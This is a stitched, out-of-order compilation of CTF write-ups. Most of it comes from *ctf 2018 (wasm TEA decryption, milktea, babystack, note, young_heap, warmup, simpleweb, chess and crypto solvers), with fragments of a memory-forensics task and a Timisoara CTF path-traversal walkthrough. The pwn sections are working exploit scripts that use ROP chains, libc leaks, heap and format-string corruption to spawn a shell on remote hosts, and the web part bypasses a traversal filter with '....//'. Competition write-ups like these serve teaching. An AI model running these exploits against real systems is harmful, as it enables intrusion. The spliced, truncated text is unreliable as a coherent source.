= l36; g10 = i0; i0 = l27; goto Bfunc; } else { i0 = l35; i1 = 11u; i0 = i0 == i1; if (i0) { i0 = 1u; l0 = i0; i0 = l0; l27 = i0; i0 = l36; g10 = i0; i0 = l27; goto Bfunc; } } i0 = 0u; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;}```The first thing come out in my mind is that It's [TEA](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm). But there some difference. The encryption function in this challenge is```c=void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<3) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<3) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1;}```Now it's easy to write a decryption script```python=from pwn import *A=[0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00]def decrypt(v,k): v0=v[0] v1=v[1] asum=0xC6EF3720 delta=0x9e3779b9 k0=k[0] k1=k[1] k2=k[2] k3=k[3] for i in range(32) : v1 -= ((v0<<3) ^ k2) ^ (v0 + asum) ^ ((v0>>5) + k3) v1 %=(2**32) v0 -= ((v1<<3) ^ k0) ^ (v1 + asum) ^ ((v1>>5) + k1) v0 %=(2**32) asum -= delta asum %= (2**32) return v0,v1 cipher=[A[i] for i in range(0,len(A),4)]cipher="".join(map(chr,cipher)) key="webasmintersting"k=[u32(key[i:i+4]) for i in range(0,len(key),4)] flag=""for i in range(3): vv=cipher[i*8:(i+1)*8][::-1] v=[u32(vv[i:i+4]) for i in range(0,len(vv),4)] a,b=decrypt(v,k) flag+=p32(a)+p32(b)print flag# *ctf{web4ss3mbly_1s_god}``` ### milktea (sasdf) ```python=import struct with open('milktea', 'rb') as f: data = f.read() keys = data[0x10C0:0x11A8] ct = data[0x1080:0x10B8]keys = struct.unpack('<' + 'I' * (len(keys) // 4), keys)keys = [keys[i:i+2] for i in range(0, len(keys), 2)]ct = struct.unpack('<' + 'I' * (len(ct) // 4), ct) # Fake memcmpxx = [ 0x0BF7AC52, 0x801135AA, 0x5341B12E, 0x8C284278, 0x879413EE, 0xF0D4BB6A, 0x3336515C, 0x1498DC7D, 0x0BE8AD86, 0x310FE5B8, 0x3DEEAFD4, 0x5603371B, 0x00000000, 0x00000000,]ct = [c ^ x for c, x in zip(ct, xx)]ct = [ct[i:i+2] for i in range(0, len(ct), 2)] sbox = [ 0x206D2749, 0x69622061, 0x61662067, 0x666F206E, 0x70657320, 0x6D657974, 0x37633634, 0x66336265, 0x63383538, 0x66373331, 0x66646239, 0x65356166, 0x38386630, 0x39386530, 0x62623935, 0x35366532, ] mask = 0xffffffff # Encyption sanity checklow, = struct.unpack('<I', 'aaaa')high = low for key in keys: high = ( ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) + high ) & mask low = ( ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) + low ) & maskres = low << 32 | high assert(res == 0xd5c62ef45e60fe03) # Decrypt flagplain = ''for c in ct: high, low = c for key in reversed(keys): low = ( low - ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) ) & mask high = ( high - ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) ) & mask res = high << 32 | low plain += struct.pack('<Q', res)print(repr(plain))``` ## pwn ### babystack (sces60107) In this challenge, you can overflow the stack canary.So you won't trigger `__stack_chk_fail` ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.91.226.78", 10005)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./bs",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400a9b)+'\nc\n') def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) breakproofwork() main=0x4009e7poprdi=0x400c03poprsi=0x400c01read=0x4007e0atoigot=0x601ff0putsgot=0x601fb0putplt=0x4007c0buf=0x602f00leave=0x400955p1=p64(poprdi)+p64(putsgot)+p64(putplt)p2=p64(poprdi)+p64(0)+p64(poprsi)+p64(buf+0x8)+p64(0)+p64(read)+p64(leave)payload=p1+p2 # You can overflow the stack canary, the stack canary offset is 0x6128print r.recvuntil("How many bytes do you want to send?")r.sendline(str(6128))r.send("a"*4112+p64(buf)+payload+"a"*(6128-4120-len(payload))) # The first part of payload leak the libc baser.recvuntil("It's time to say goodbye.\n")libbase=u64(r.recvline()[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # Using stack migration, you input payload againr.sendline(p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h4ve_fun_w1th_0ld_tr1ck5_in_2018}``` ### note (sces60107) You can find out the null-byte overflow in Edit note. Then you also notice that the format string address is on the stack. You can overwrite it. Cause the wrong rbp value, you can overwrite return value when calling scanf. ```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.89.18.224", 10007)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6')}#r=process("./note",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] def proofwork(): r.recvuntil('sha256(xxxx+') a=r.recvline() print a proof=a.split(" ")[-1] x=a.split(")")[0] proof=proof.strip() print r.recvuntil("xxxx:\n") for i in itertools.product(string.ascii_letters+string.digits,repeat=4): test="".join(i)+x k=hashlib.sha256() k.update(test) if k.hexdigest()==proof: print "find" r.sendline("".join(i)) break proofwork()s=0x401129fd=0x602140printgot=0x601F90poprdi=0x401003 # Not importantr.recvuntil("Input your ID:")r.send(cyclic(256)) # You can trigger null-byte overflow# They put "%d" address on the stack, but rbp is different cause null-byte overflow. Now you can assign other format string. I choose %256sr.recvuntil("> ")r.sendline("1")r.recvuntil("Note:")r.sendline("a"*168+p64(s)+"a"*(256-176))r.recvuntil("> ") # Now the note address can be changed, I have arbitrary read. Just leak libc base address.r.sendline(p32(2)+p64(s)+p64(printgot))r.recvuntil("Note:")heapbase=r.recvline()print heapbase.encode("hex")libbase=u64(heapbase[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57 # You overwrite the return address when you call scanfr.recvuntil("> ")r.sendline("a"*100+p64(poprdi)+p64(binsh)+p64(system))r.interactive()# *ctf{n0te_helps_y0u_use_scanf}``` ### young_heap (4w4rd sces60107) ```python=from pwn import * # r = process('./young_heap')r = remote('47.89.11.82', 10009) r.recvuntil('xxxx+')suffix = r.recv(16)# suffix = 'OWSh3smUNo6dzei7'r.recvuntil(' == ')ans = r.recvuntil('\n')[:-1]# ans = '4dff4cca83f525f0053b69ee61571a04a561293992c3b3ba9cd3dc785c1def16'x = string.letters + string.digitsb = 0for c1 in x: for c2 in x: for c3 in x: for c4 in x: if hashlib.sha256(c1+c2+c3+c4+suffix).hexdigest() == ans: print c1+c2+c3+c4 r.sendline(c1+c2+c3+c4) b = 1 break if b == 1: break if b == 1: break if b == 1: break# r.interactive() def new_heap(size,cont): r.sendlineafter('>> ','1') r.sendlineafter(' :',str(size)) r.sendafter(' :',cont) def edit(idx,cont): r.sendlineafter('>> ','2') r.sendlineafter(' :',str(idx)) r.sendafter(' :',cont) def delete(idx): r.sendafter('>> ','3') r.sendafter(' :',str(idx)) new_heap(0x400,'a'*0x400) #0new_heap(0x400,'a'*0x400) #1new_heap(0x400,'a'*0x400) #2new_heap(0x400,'a'*0x400) #3 # delete(1)# delete(0)# r.interactive()edit(0,'a'*0x400+'\x01\x00')edit(1,'a'*0x400+'\x21\x08')delete(0)delete(2)edit(1,'a'*0x400+'\xa1')# new_heap(0x90)delete(1)# r.interactive()# edit(1,p64(0)+p64(0x10000))# delete(2)printf_plt = 0x4008a0addr = 0x602068new_heap(0x810,'%13$p\n\x00'+'a'*(0x400-7)+p64(0)+p64(0x410)+p64(addr)) #0new_heap(0x400,'a') #1new_heap(0x400,p64(printf_plt)) #2delete(0)l = int(r.recvuntil('\n').strip(),16)# print hex(l)libc = l - 0x20830system = libc + 0x45390print hex(libc)print hex(system) def fmt_att(fmt): new_heap(0x100, fmt) # 0 delete(0)# r.interactive()# get address here# r.interactive()\n# 15 & 41 & 42fmt_att('%15$p\n\n')base = int(r.recvuntil('\n').strip(),16)print hex(base)fmt_att('%15$s\n\n')k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))print hex(k)attack_point = base + 8fmt_att("%"+str((attack_point+2)&0xffff)+'c%15$hn')fmt_att("%"+str(0x60)+'c%41$hn')fmt_att("%"+str(attack_point&0xffff)+'c%15$hn')fmt_att("%"+str(0x20e0)+'c%41$hn')# fmt_att("%42$s\n\n")# k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))# print hex(k)# print hex(system&0xffff)fmt_att('%'+str(0x2060)+'c%42$hn')fmt_att("%"+str(0x20e2)+'c%41$hn')fmt_att('%'+str(0x60)+'c%42$hn')edit(4,p64(system))# fmt_att("%42$p")# new_heap(0x100,'%15$ln')#0# delete(0)r.interactive() ``` ## web ### simpleweb (how2hack)I use Z3 to find the solution for this challenge.```python#!/usr/bin/env python from z3 import * value = [BitVec("val_%d" % i, 32) for i in range(5)] s = Solver()for i in range(5): s.add(value[i] >= 0) s.add(value[i] <= 127) s.add(((((value[0]+value[1])*0x100+(value[1]+value[2]))*0x100+(value[2]+value[3]))*0x100+(value[3]+value[4])) == 0x23332333) if s.check() != sat: print "unsat"else: while s.check() == sat: print s.model() s.add(Or(value[0] != s.model()[value[0]], value[1] != s.model()[value[1]], value[2] != s.model()[value[2]], value[3] != s.model()[value[3]], value[4] != s.model()[value[4]])) '''[val_3 = 18, val_2 = 17, val_0 = 1, val_1 = 34, val_4 = 33][val_4 = 32, val_1 = 35, val_0 = 0, val_2 = 16, val_3 = 19][val_4 = 48, val_1 = 19, val_0 = 16, val_2 = 32, val_3 = 3][val_4 = 50, val_1 = 17, val_0 = 18, val_2 = 34, val_3 = 1][val_4 = 49, val_1 = 18, val_0 = 17, val_2 = 33, val_3 = 2][val_4 = 51, val_1 = 16, val_0 = 19, val_2 = 35, val_3 = 0][val_4 = 44, val_1 = 23, val_0 = 12, val_2 = 28, val_3 = 7][val_4 = 46, val_1 = 21, val_0 = 14, val_2 = 30, val_3 = 5][val_4 = 45, val_1 = 22, val_0 = 13, val_2 = 29, val_3 = 6][val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4][val_4 = 40, val_1 = 27, val_0 = 8, val_2 = 24, val_3 = 11][val_4 = 42, val_1 = 25, val_0 = 10, val_2 = 26, val_3 = 9][val_4 = 41, val_1 = 26, val_0 = 9, val_2 = 25, val_3 = 10][val_4 = 43, val_1 = 24, val_0 = 11, val_2 = 27, val_3 = 8][val_4 = 36, val_1 = 31, val_0 = 4, val_2 = 20, val_3 = 15][val_4 = 38, val_1 = 29, val_0 = 6, val_2 = 22, val_3 = 13][val_4 = 37, val_1 = 30, val_0 = 5, val_2 = 21, val_3 = 14][val_4 = 39, val_1 = 28, val_0 = 7, val_2 = 23, val_3 = 12][val_4 = 34, val_1 = 33, val_0 = 2, val_2 = 18, val_3 = 17][val_4 = 35, val_1 = 32, val_0 = 3, val_2 = 19, val_3 = 16]'''```There are multiple solutions. However, Javascript Array.sort() is a weird function... It sort the array in alphabetical order even for numbers, which means '12' < '4'. So the only solution is `[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]`. Flag: `*ctf{web_chal_made_by_binary_players_lol}` ## misc ### welcome (bookgin) Install: http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htmRun: `./sim-fast ../1355a2b7-44dc-451f-a826-6debe8467923.welcome`Flag: `*ctf{we1_t0_*ctf}` ### warmup (sces60107) It's a easy challenge ```python=from pwn import *import osr=remote("47.91.226.78", 10006)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./warmup",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400961)+'\nc\n') poprdi=0x400a63main=0x4008b9putsgot=0x600fa8putsplt=0x4006d8 # you can read whatever you wantprint r.recvuntil("What are you looking for?")r.sendline(str(putsgot))print r.recvline()libbase=int(r.recvline(),16)-0x6f690 # compute system addresssystem=libbase+0x45390poprdi=libbase+0x21102binsh=libbase+0x18cd57print hex(libbase) # Easy stack overflowprint r.recvuntil("What's your name?")r.sendline("a"*40+p64(poprdi)+p64(binsh)+p64(system)) r.interactive()# *ctf{h0pe_th1s_e4zy_gam3_warm_y0u_up}``` ## ppc ### magic_number (b04902036) simply use a binary search ```python#!/usr/bin/python from pwn import * host = '47.89.18.224'port = 10011 r = remote(host, port)count = 0while(1): count += 1 r.recvuntil(': n = ') n = int(r.recvuntil('\n').strip()) dic = dict() send_num = 0 ans = [] same = 0 same_ans = 0 for i in range(n): if(same > 0): same -= 1 for item in total: dic[(item[0], item[1])] -= 1 ans.append(same_ans) continue total = set() start = 0 end = 1024 prenum = n - i while(1): mid = (start + end) // 2 if((start, mid) in dic): num = dic[(start, mid)] else: send_num += 1 r.sendline('? ' + str(start) + ' ' + str(mid)) num = int(r.recvuntil('\n').strip()) dic[(start, mid)] = num if(num > 0): prenum = num total.add((start, mid)) dic[(start, mid)] -= 1 end = mid if(mid - start == 1): same = num - 1 same_ans = start ans.append(start) break else: start = mid if(end - mid == 1): same = prenum - 1 same_ans = mid ans.append(mid) break msg = '!' for i in ans: msg += ' ' + str(i) r.sendline(msg) if(count == 10): breakr.interactive()``` Flag: *ctf{magic algorithm produces magic numbers!} ### Chess Master (bookgin) We use WCCC 2017 champion komodo as our engine. The code is very dirty. We use wireshark to record the last packet and get flag. ```python#!/usr/bin/env python3# Python 3.6.4 from pwn import *import stringimport hashlibimport chess # https://github.com/niklasf/python-chessimport chess.uci as uci komodo = './komodo-9.02-linux' def PoW(): r.recvuntil('sha256(xxxx+') x = r.recvuntil(') ==', drop=True).decode() y = r.recvline().decode() y = y[:-1] print(x) print(y) s = string.ascii_letters+string.digits for i in s: for j in s: for k in s: for l in s: h = hashlib.sha256() guess = (i+j+k+l+x).encode() h.update(guess) z = h.hexdigest() if z == y: print(guess) r.sendline(i+j+k+l) break def parseBoard(s, rnd=0, turn='w'): fen = '' cnt = 0 for c in (s.strip() + '\n').replace(' ', '').replace('\n', '/'): if c == '.': cnt += 1 else: if cnt != 0: fen += str(cnt) cnt = 0 fen += c fen = fen.strip('/') return chess.Board(f"{fen} {turn} KQkq - 3 {rnd}") engine = uci.popen_engine(komodo)engine.uci()print(f'loaded "{engine.name}"') r = remote('47.89.11.82', 10012)PoW()print('[+] PoW Done')r.recvuntil('game starts\n')engine.ucinewgame() win_times = 0 # Use wireshark to record packet and get flag XDwhile True: print(win_times) buf = r.recvuntil('input your move(like e2e4):', drop=True).decode() if 'you win' in buf: win_times += 1 buf = buf[buf.find('game starts\n')+len('game starts\n'):] raw_board = buf board = parseBoard(raw_board) engine.position(board) best_move, ponder_move = engine.go(movetime=50) r.sendline(str(best_move)) #buf = r.recv(16) #if b'win' in buf: # break #print(buf) engine.quit()``` Flag: `*ctf{chess_is_s0_ea5y}` ## crypto ### primitive (sasdf) ```python=from pwn import *import numpy as npimport itertools as itimport stringfrom hashlib import sha256import multiprocessing as mpfrom PoW import remote # Connect to game server & PoWr = remote('47.75.4.252', 10001) # Cipher operationsdef add(a, b): return (a + b) & 0xff def rot(a, b): return (a>>(8-b) & 0xff) | ((a<<b) & 0xff) def xor(a, b): return (a ^ b) def msb(a): return a & 0x80 def mask(a, b): return a & (0xff << b) & 0x7f msk = 0 # How many bits at the end is OKsft = 0 # How many times we rotate the bytes. def setMSB(): global msk, ct, pt while True: # Find which char's MSB needs to be flip. flip = [msb(p) != msb(c) for p, c in zip(pt, ct)] if not any(flip): return # Get first char that needs to be flip. idx = next(i for i, e in enumerate(flip) if e) cur = mask(ct[idx], msk) # Make sure we won't flip some MSB that shouldn't be flip. while any(mask(c, msk) == cur for c, f in zip(ct, flip) if not f): if msk <= 0: raise ValueError('Conflict') msk -= 1 cur = mask(ct[idx], msk) # Make all bits in range [msk, 7] of target char to be 1. cur = mask(~cur, msk) assert(cur >= 0 and cur < 256) r.sendline(('2 %d' % cur).rjust(9, '0')) # Use carry to flip MSB of target char. assert((1 << msk) >= 0 and (1 << msk) < 256) r.sendline(('0 %d' % (1<
Try to dump the flag picture Hint : Win7SP0x64 https://drive.google.com/file/d/1F11LWxX_fCNvI5dT6wYXH1K6SmhbLOHe/view?usp=sharing Write up : ![](https://github.com/rayenmessaoudi/Write-ups-CTF/blob/master/HackZone%20VI/Crash%20Memory/images/memory.png?raw=true) Flag : HZVI{You_R0ck}
# CTF - 2018 - Timisoara CTF 2018 Quals / Web / BookDir ## Part 1 - 125 pts- We get a list of book :```curl -H 'X-Dir: .' "http://89.38.210.129:8012/books/booklist.php" [{"name":"Beloved"},{"name":"Catch-22"},{"name":"Lolita"},{"name":"Nineteen Eighty-Four"},{"name":"The Catcher in the Rye"},{"name":"The Grapes of Wrath"},{"name":"The Great Gatsby"},{"name":"The Sound and the Fury"},{"name":"Ulysses"}]``` - We can go backward with ../```curl -H 'X-Dir: ../' "http://89.38.210.129:8012/books/booklist.php" [{"name":"4o4_fl4g_n0t_f0und.php"},{"name":"booklist.php"},{"name":"books.js"},{"name":"css"},{"name":"index.html"},{"name":"list"},{"name":"vendor"}]``` - We find the `4o4_fl4g_n0t_f0und.php` and we will try to read it - Using param f we can read file :```curl "http://89.38.210.129:8012/books/booklist.php?f=Beloved" "\"124 was spiteful. Full of baby's venom. The women in the house knew it and so did the children.\"\n"``` - After some test, we found that `../` is filtered and we need to double it to bypass `....//`:```curl "http://89.38.210.129:8012/books/booklist.php?f=....//4o4_fl4g_n0t_f0und.php" "\n Order allow,deny\n Deny from all\n<\/Files>\n\n<Files w0w_y0u_g0t_m3___.php>\n Order allow,deny\n Deny from all\n<\/Files>\n\nRewriteEngine On\nRewriteRule ^(?:books\/list)\\b.* \/403.php\n"``` - find `w0w_y0u_g0t_m3___.php`, let's read it :```curl "http://89.38.210.129:8012/books/booklist.php?f=....//....//w0w_y0u_g0t_m3___.php" "
# *ctf 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180421-*ctf/) of this writeup.** - [*ctf 2018](#ctf-2018) - [rev](#rev) - [wasm (sces60107)](#wasm-sces60107) - [milktea (sasdf)](#milktea-sasdf) - [pwn](#pwn) - [babystack (sces60107)](#babystack-sces60107) - [note (sces60107)](#note-sces60107) - [young_heap (4w4rd sces60107)](#young_heap-4w4rd-sces60107) - [web](#web) - [simpleweb (how2hack)](#simpleweb-how2hack) - [misc](#misc) - [welcome (bookgin)](#welcome-bookgin) - [warmup (sces60107)](#warmup-sces60107) - [ppc](#ppc) - [magic_number (b04902036)](#magic_number-b04902036) - [Chess Master (bookgin)](#chess-master-bookgin) - [crypto](#crypto) - [primitive (sasdf)](#primitive-sasdf) - [ssss (sasdf)](#ssss-sasdf) - [ssss2 (sasdf)](#ssss2-sasdf) The official repository is [here](https://github.com/sixstars/starctf2018) ## rev ### wasm (sces60107) I leverage [wasm2c](https://github.com/WebAssembly/wabt) to decomplie this wasm Then I found some interesting function and data ```c=static const u8 data_segment_data_0[] = { 0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x77, 0x65, 0x62, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x74, 0x69, 0x6e, 0x67, }; static void init_memory(void) { memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 112);}static void init_table(void) { uint32_t offset; offset = (*Z_envZ_tableBaseZ_i); (*Z_envZ_table).data[offset + 0] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)}; (*Z_envZ_table).data[offset + 1] = (wasm_rt_elem_t){func_types[4], (wasm_rt_anyfunc_t)(&_EncryptCBC)}; (*Z_envZ_table).data[offset + 2] = (wasm_rt_elem_t){func_types[1], (wasm_rt_anyfunc_t)(&_check)}; (*Z_envZ_table).data[offset + 3] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)};}static void _EncryptCBC(u32 p0, u32 p1, u32 p2, u32 p3) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l41 = i0; i0 = g10; i1 = 48u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 48u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l41; i1 = 16u; i0 += i1; l38 = i0; i0 = l41; l39 = i0; i0 = p0; l30 = i0; l30=p0 i0 = p1; l35 = i0; l35=p1 i0 = p2; l36 = i0; l36=p2 i0 = p3; l37 = i0; l37=p3 i0 = l37; l0 = i0; i0 = l0; i0 = f9(i0); round key l1 = i0; i0 = l39; i1 = l1; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = f9(i0); l4 = i0; i0 = l39; i1 = 4u; i0 += i1; l5 = i0; i0 = l5; i1 = l4; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l6 = i0; i0 = l6; i1 = 8u; i0 += i1; l7 = i0; i0 = l7; i0 = f9(i0); l8 = i0; i0 = l39; i1 = 8u; i0 += i1; l9 = i0; i0 = l9; i1 = l8; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l10 = i0; i0 = l10; i1 = 12u; i0 += i1; l11 = i0; i0 = l11; i0 = f9(i0); l12 = i0; i0 = l39; i1 = 12u; i0 += i1; l13 = i0; i0 = l13; i1 = l12; i32_store(Z_envZ_memory, (u64)(i0), i1); L1: i0 = l36; l14 = i0; i0 = l14; i1 = 8u; i0 = (u32)((s32)i0 >= (s32)i1); l15 = i0; i0 = l15; i0 = !(i0); if (i0) { goto B2; } i0 = l35; l16 = i0; i0 = l16; i0 = f9(i0); l17 = i0; i0 = l38; i1 = l17; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l35; l18 = i0; i0 = l18; i1 = 4u; i0 += i1; l19 = i0; i0 = l19; i0 = f9(i0); l20 = i0; i0 = l38; i1 = 4u; i0 += i1; l21 = i0; i0 = l21; i1 = l20; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l38; i1 = l39; f10(i0, i1); i0 = l30; l22 = i0; i0 = l38; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l22; i1 = l23; f11(i0, i1); i0 = l30; l24 = i0; i0 = l24; i1 = 4u; i0 += i1; l25 = i0; i0 = l38; i1 = 4u; i0 += i1; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l25; i1 = l27; f11(i0, i1); i0 = l35; l28 = i0; i0 = l28; i1 = 8u; i0 += i1; l29 = i0; i0 = l29; l35 = i0; i0 = l30; l31 = i0; i0 = l31; i1 = 8u; i0 += i1; l32 = i0; i0 = l32; l30 = i0; i0 = l36; l33 = i0; i0 = l33; i1 = 8u; i0 -= i1; l34 = i0; i0 = l34; l36 = i0; goto L1; B2:; i0 = l41; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 f9(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l23 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l0 = i0; i0 = l0; l11 = i0; i0 = l11; l11=p0 i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l15 = i0; i0 = l15; i1 = 255u; i0 &= i1; l16 = i0; i0 = l0; l17 = i0; i0 = l17; i1 = 1u; i0 += i1; l18 = i0; i0 = l18; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l19 = i0; i0 = l19; i1 = 255u; i0 &= i1; l20 = i0; i0 = l20; i1 = 8u; i0 <<= (i1 & 31); l21 = i0; i0 = l16; i1 = l21; i0 |= i1; l1 = i0; i0 = l0; l2 = i0; i0 = l2; i1 = 2u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 255u; i0 &= i1; l5 = i0; i0 = l5; i1 = 16u; i0 <<= (i1 & 31); l6 = i0; i0 = l1; i1 = l6; i0 |= i1; l7 = i0; i0 = l0; l8 = i0; i0 = l8; i1 = 3u; i0 += i1; l9 = i0; i0 = l9; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l10 = i0; i0 = l10; i1 = 255u; i0 &= i1; l12 = i0; i0 = l12; i1 = 24u; i0 <<= (i1 & 31); l13 = i0; i0 = l7; i1 = l13; i0 |= i1; l14 = i0; i0 = l23; g10 = i0; i0 = l14; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;} static void f10(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0, l42 = 0, l43 = 0, l44 = 0, l45 = 0, l46 = 0, l47 = 0, l48 = 0, l49 = 0, l50 = 0, l51 = 0, l52 = 0, l53 = 0, l54 = 0, l55 = 0, l56 = 0, l57 = 0, l58 = 0, l59 = 0, l60 = 0, l61 = 0, l62 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l62 = i0; i0 = g10; i1 = 32u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 32u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = 